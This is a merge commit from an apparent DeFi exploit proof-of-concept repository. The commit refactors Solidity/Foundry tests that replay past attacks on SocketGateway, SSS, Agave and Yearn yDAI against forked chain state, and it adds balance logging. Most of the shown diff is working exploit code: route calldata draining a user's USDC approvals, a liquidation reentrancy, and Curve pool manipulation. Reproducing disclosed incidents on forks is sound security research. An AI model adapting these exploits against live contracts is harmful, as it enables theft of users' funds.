Merge pull request #661 from akshaynexus/cleanup-exploitpocs

refactor: refactor my poc files and make balancelog better
SunWeb3Sec · May 13, 2024 · 07cb644 · 07cb644
2 parents 674a364 + 29153b9
commit 07cb644
Show file tree

Hide file tree

Showing 6 changed files with 68 additions and 62 deletions.
diff --git a/src/test/2024-01/SocketGateway_exp.sol b/src/test/2024-01/SocketGateway_exp.sol
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: UNLICENSED
 pragma solidity ^0.8.10;
 
-import "forge-std/Test.sol";
+import "../basetest.sol";
 import "./../interface.sol";
 
 interface ISocketGateway {
@@ -34,12 +34,13 @@ interface ISocketVulnRoute {
 // Twitter Guy : https://twitter.com/peckshield/status/1747353782004900274
 
 //In this example i didnt do a batch transferfrom for multiple target addresses,just did one for simplicity
-contract SocketGatewayExp is Test {
+contract SocketGatewayExp is BaseTestWithBalanceLog {
     address _gateway = 0x3a23F943181408EAC424116Af7b7790c94Cb97a5;
-    uint32 routeId = 406; //Recently added vulnerable route id
-    address targetUser = 0x7d03149A2843E4200f07e858d6c0216806Ca4242;
     address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
 
+    address targetUser = 0x7d03149A2843E4200f07e858d6c0216806Ca4242;
+    uint32 routeId = 406; //Recently added vulnerable route id
+
     ISocketGateway gateway = ISocketGateway(_gateway);
     IERC20 USDC = IERC20(_usdc);
 
@@ -48,6 +49,7 @@ contract SocketGatewayExp is Test {
     function setUp() public {
         vm.createSelectFork("mainnet", 19_021_453);
         USDC.approve(_gateway, type(uint256).max);
+        fundingToken = _usdc;
     }
 
     function getCallData(address token, address user) internal view returns (bytes memory callDataX) {
@@ -68,7 +70,7 @@ contract SocketGatewayExp is Test {
         );
     }
 
-    function testExploit() public {
+    function testExploit() public balanceLog {
         gateway.executeRoute(routeId, getRouteData(_usdc, targetUser));
         require(USDC.balanceOf(address(this)) > 0, "no usdc gotten");
     }

diff --git a/src/test/2024-03/SSS_exp.sol b/src/test/2024-03/SSS_exp.sol
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: UNLICENSED
 pragma solidity ^0.8.13;
 
-import "forge-std/Test.sol";
+import "../basetest.sol";
 import "./../interface.sol";
 // @KeyInfo - Total Lost: $4.8M
 // Attacker: 0x6a89a8C67B5066D59BF4D81d59f70C3976faCd0A
@@ -18,7 +18,7 @@ interface ISSS is IERC20 {
     function burn(uint256) external;
 }
 
-contract SSSExploit is Test {
+contract SSSExploit is BaseTestWithBalanceLog {
     address private constant POOL = 0x92F32553cC465583d432846955198F0DDcBcafA1;
     IWETH private constant WETH = IWETH(payable(0x4300000000000000000000000000000000000004));
     ISSS private constant SSS = ISSS(0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed);
@@ -32,6 +32,7 @@ contract SSSExploit is Test {
         vm.createSelectFork("blast", 1_110_245);
         WETH.approve(address(ROUTER_V2), type(uint256).max);
         SSS.approve(address(ROUTER_V2), type(uint256).max);
+        fundingToken = address(WETH);
     }
 
     function getPath(bool buy) internal view returns (address[] memory path) {
@@ -40,10 +41,7 @@ contract SSSExploit is Test {
         path[1] = buy ? address(SSS) : address(WETH);
     }
 
-    function testExploit() public {
-        emit log_named_decimal_uint(
-            "Attacker WETH balance before exploit", WETH.balanceOf(address(this)), WETH.decimals()
-        );
+    function testExploit() public balanceLog {
 
         //Emulate flashloan here with deal
         vm.deal(address(this), 0);
@@ -84,9 +82,5 @@ contract SSSExploit is Test {
 
         assertEq(WETH.balanceOf(address(this)), expectedETHAfter, "Not expected WETH BAL");
         assertEq(SSS.balanceOf(address(this)), 0, "All SSS tokens didn't get sold");
-
-        emit log_named_decimal_uint(
-            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
-        );
     }
 }
diff --git a/src/test/basetest.sol b/src/test/basetest.sol
@@ -19,10 +19,15 @@ contract BaseTestWithBalanceLog is Test {
     }
 
     modifier balanceLog() {
-        //Set eth balance to 0 if eth  is funding token as foundry sets a high default balance for contracts unless set
+        //Set eth balance to 0 if eth is funding token as foundry sets a high default balance for contracts unless set
         if (fundingToken == address(0)) vm.deal(address(this), 0);
-        emit log_named_decimal_uint("Attacker ETH Balance Before exploit", getFundingBal(), getFundingDecimals());
+
+        string memory tokenSymbol = fundingToken == address(0) ? "ETH" : TokenHelper.getTokenSymbol(fundingToken);
+        string memory balanceBeforeStr = string(abi.encodePacked("Attacker ", tokenSymbol, " Balance Before exploit"));
+        string memory balanceAfterStr = string(abi.encodePacked("Attacker ", tokenSymbol, " Balance After exploit"));
+
+        emit log_named_decimal_uint(balanceBeforeStr, getFundingBal(), getFundingDecimals());
         _;
-        emit log_named_decimal_uint("Attacker ETH Balance After exploit", getFundingBal(), getFundingDecimals());
+        emit log_named_decimal_uint(balanceAfterStr, getFundingBal(), getFundingDecimals());
     }
-}
+}
diff --git a/src/test/others/Agave_exp.sol b/src/test/others/Agave_exp.sol
@@ -73,6 +73,29 @@ contract AgaveExploit is Test {
     ILendingPool lendingPool;
 
     uint256 ethFlashloanAmt = 2730 ether;
+    modifier balanceLog() {
+        _logBalances("Before hack balances");
+        _;
+        _logBalances("After hack balances");
+    }
+
+    function _getTokenBal(address asset) internal view returns (uint256) {
+        return IERC20(asset).balanceOf(address(this));
+    }
+
+    function _logBalances(string memory message) internal {
+        console.log(message);
+        console.log("--- Start of balances ---");
+        emit log_named_decimal_uint("WETH Balance", _getTokenBal(weth), 18);
+        emit log_named_decimal_uint("aWETH Balance", _getTokenBal(aweth), 18);
+        emit log_named_decimal_uint("USDC Balance", _getTokenBal(usdc), 6);
+        emit log_named_decimal_uint("GNO Balance", _getTokenBal(gno), 18);
+        emit log_named_decimal_uint("LINK Balance", _getTokenBal(link), 18);
+        emit log_named_decimal_uint("WBTC Balance", _getTokenBal(wbtc), 8);
+        emit log_named_decimal_uint("healthf", _getHealthFactor(), 18);
+        console.log("--- End of balances ---");
+    }
+
 
     function setUp() public {
         vm.createSelectFork("gnosis", 21_120_283); //fork gnosis at block number 21120319
@@ -127,29 +150,11 @@ contract AgaveExploit is Test {
         lendingPool.withdraw(link, linkWithdraw5, address(this));
     }
 
-    function _logTokenBal(address asset) internal view returns (uint256) {
-        return IERC20(asset).balanceOf(address(this));
-    }
-
-    function _logBalances(string memory message) internal {
-        console.log(message);
-        console.log("--- Start of balances ---");
-        emit log_named_decimal_uint("WETH Balance", _logTokenBal(weth), 18);
-        emit log_named_decimal_uint("aWETH Balance", _logTokenBal(aweth), 18);
-        emit log_named_decimal_uint("USDC Balance", _logTokenBal(usdc), 6);
-        emit log_named_decimal_uint("GNO Balance", _logTokenBal(gno), 18);
-        emit log_named_decimal_uint("LINK Balance", _logTokenBal(link), 18);
-        emit log_named_decimal_uint("WBTC Balance", _logTokenBal(wbtc), 8);
-        emit log_named_decimal_uint("healthf", _getHealthFactor(), 18);
-        console.log("--- End of balances ---");
-    }
 
-    function testExploit() public {
+    function testExploit() public balanceLog {
         //Call prepare and get it setup
         _initHF();
-        _logBalances("Before hack balances");
         _flashWETH();
-        _logBalances("After hack balances");
     }
 
     function _flashWETH() internal {
@@ -168,7 +173,7 @@ contract AgaveExploit is Test {
         //This will start the reentrancy with ontokentransfer call on .burn of the atoken
         lendingPool.liquidationCall(weth, weth, address(this), 2, false);
         //This will withdraw the funds from weth lending pool
-        lendingPool.withdraw(weth, _logTokenBal(aweth), address(this));
+        lendingPool.withdraw(weth, _getTokenBal(aweth), address(this));
         //For test case we just send it to address(1) to reduce the flashloan debt amount from us to get final assets
         WETH.transfer(address(1), ((ethFlashloanAmt * 1000) / 997) + 1);
     }

diff --git a/src/test/others/Yearn_ydai.sol b/src/test/others/Yearn_ydai.sol
@@ -17,20 +17,19 @@ import "./../interface.sol";
 
 // @Analysis
 // Post-mortem : https://github.com/yearn/yearn-security/blob/master/disclosures/2021-02-04.md
-// Twitter Guy : https://www.google.com/
 
 interface ICurve {
     function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;
     function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;
-  function remove_liquidity(uint256 token_amount, uint256[3] memory min_amounts)
-  external
-  returns (uint256[3] memory);
+    function remove_liquidity(
+        uint256 token_amount,
+        uint256[3] memory min_amounts
+    ) external returns (uint256[3] memory);
     function get_virtual_price() external view returns (uint256 out);
-
 }
 
-interface IYVDai{
-    function balanceOf(address) external view returns (uint);
+interface IYVDai {
+    function balanceOf(address) external view returns (uint256);
     function deposit(uint256 _amount) external;
     function earn() external;
     function withdrawAll() external;
@@ -60,28 +59,24 @@ contract Exploit is Test {
     uint256 constant init_add_dai_amt = 37_972_761_178_915_525_047_091_200;
     uint256 constant init_add_usdc_amt = 133_000_000_000_000;
 
-    constructor() {
-        // Approvals and initialization logic goes here
-    }
-
     function writeTokenBalance(address who, address token, uint256 amt) internal {
         stdstore.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt);
     }
 
     function setUp() public {
-        vm.createSelectFork("mainnet", 11792183);
+        vm.createSelectFork("mainnet", 11_792_183);
         uint256 max_earn_amt = 0;
         for (uint256 i = 0; i < earn_amt.length; i++) {
             if (earn_amt[i] > max_earn_amt) {
                 max_earn_amt = earn_amt[i];
             }
         }
         require(max_earn_amt > 0, "0 is max amt?");
-        
+
         //Initialize initial token balances
         writeTokenBalance(address(this), address(dai), init_add_dai_amt + max_earn_amt);
         writeTokenBalance(address(this), address(usdc), init_add_usdc_amt);
-        
+
         //Approvals
         dai.approve(address(yvdai), type(uint256).max);
         TransferHelper.safeApprove(address(usdt), address(curve), type(uint256).max);
@@ -93,9 +88,10 @@ contract Exploit is Test {
         // Construct the exploit logic here
         uint256 hacker_dai_amt_before = dai.balanceOf(address(this));
         uint256 hacker_usdc_amt_before = usdc.balanceOf(address(this));
-        require(usdt.balanceOf(address(this))==0,"has usdt");
-        require(crv3.balanceOf(address(this))==0,"has c3rv");
-        require(yvdai.balanceOf(address(this))==0,"has ydai");
+
+        require(usdt.balanceOf(address(this)) == 0, "has usdt");
+        require(crv3.balanceOf(address(this)) == 0, "has c3rv");
+        require(yvdai.balanceOf(address(this)) == 0, "has ydai");
 
         // First make the pool imbalanced
         curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0);
@@ -119,15 +115,14 @@ contract Exploit is Test {
         // Convert some 3crv
         uint256 dai_difference = hacker_dai_amt_before - dai.balanceOf(address(this));
         curve.remove_liquidity_imbalance([dai_difference + 1, init_add_usdc_amt + 1, 0], max_3crv_amount);
-        require(dai.balanceOf(address(this)) == hacker_dai_amt_before+1,"incorrect dai bal after attack");
-        require(usdc.balanceOf(address(this)) == hacker_usdc_amt_before+1,"incorrect usdc amount after attack");
+        require(dai.balanceOf(address(this)) == hacker_dai_amt_before + 1, "incorrect dai bal after attack");
+        require(usdc.balanceOf(address(this)) == hacker_usdc_amt_before + 1, "incorrect usdc amount after attack");
 
         //Lets give back our initial funding to see real profit
-        writeTokenBalance(address(this), address(dai),dai.balanceOf(address(this))-  hacker_dai_amt_before);
+        writeTokenBalance(address(this), address(dai), dai.balanceOf(address(this)) - hacker_dai_amt_before);
         writeTokenBalance(address(this), address(usdc), usdc.balanceOf(address(this)) - hacker_usdc_amt_before);
         //This is attacker profit, Only does one run to show it
-        console.log("Attacker get 3crv amt: %d", crv3.balanceOf(address(this))/1e18);
-        console.log("Attacker get usdt amt: %d", usdt.balanceOf(address(this))/1e6);
-
+        console.log("Attacker get 3crv amt: %d", crv3.balanceOf(address(this)) / 1e18);
+        console.log("Attacker get usdt amt: %d", usdt.balanceOf(address(this)) / 1e6);
     }
 }
diff --git a/src/test/tokenhelper.sol b/src/test/tokenhelper.sol
@@ -19,4 +19,9 @@ library TokenHelper {
         bytes memory result = callTokenFunction(tokenAddress, abi.encodeWithSignature("decimals()"));
         return abi.decode(result, (uint8));
     }
+
+    function getTokenSymbol(address tokenAddress) internal view returns (string memory) {
+        bytes memory result = callTokenFunction(tokenAddress, abi.encodeWithSignature("symbol()"));
+        return abi.decode(result, (string));
+    }
 }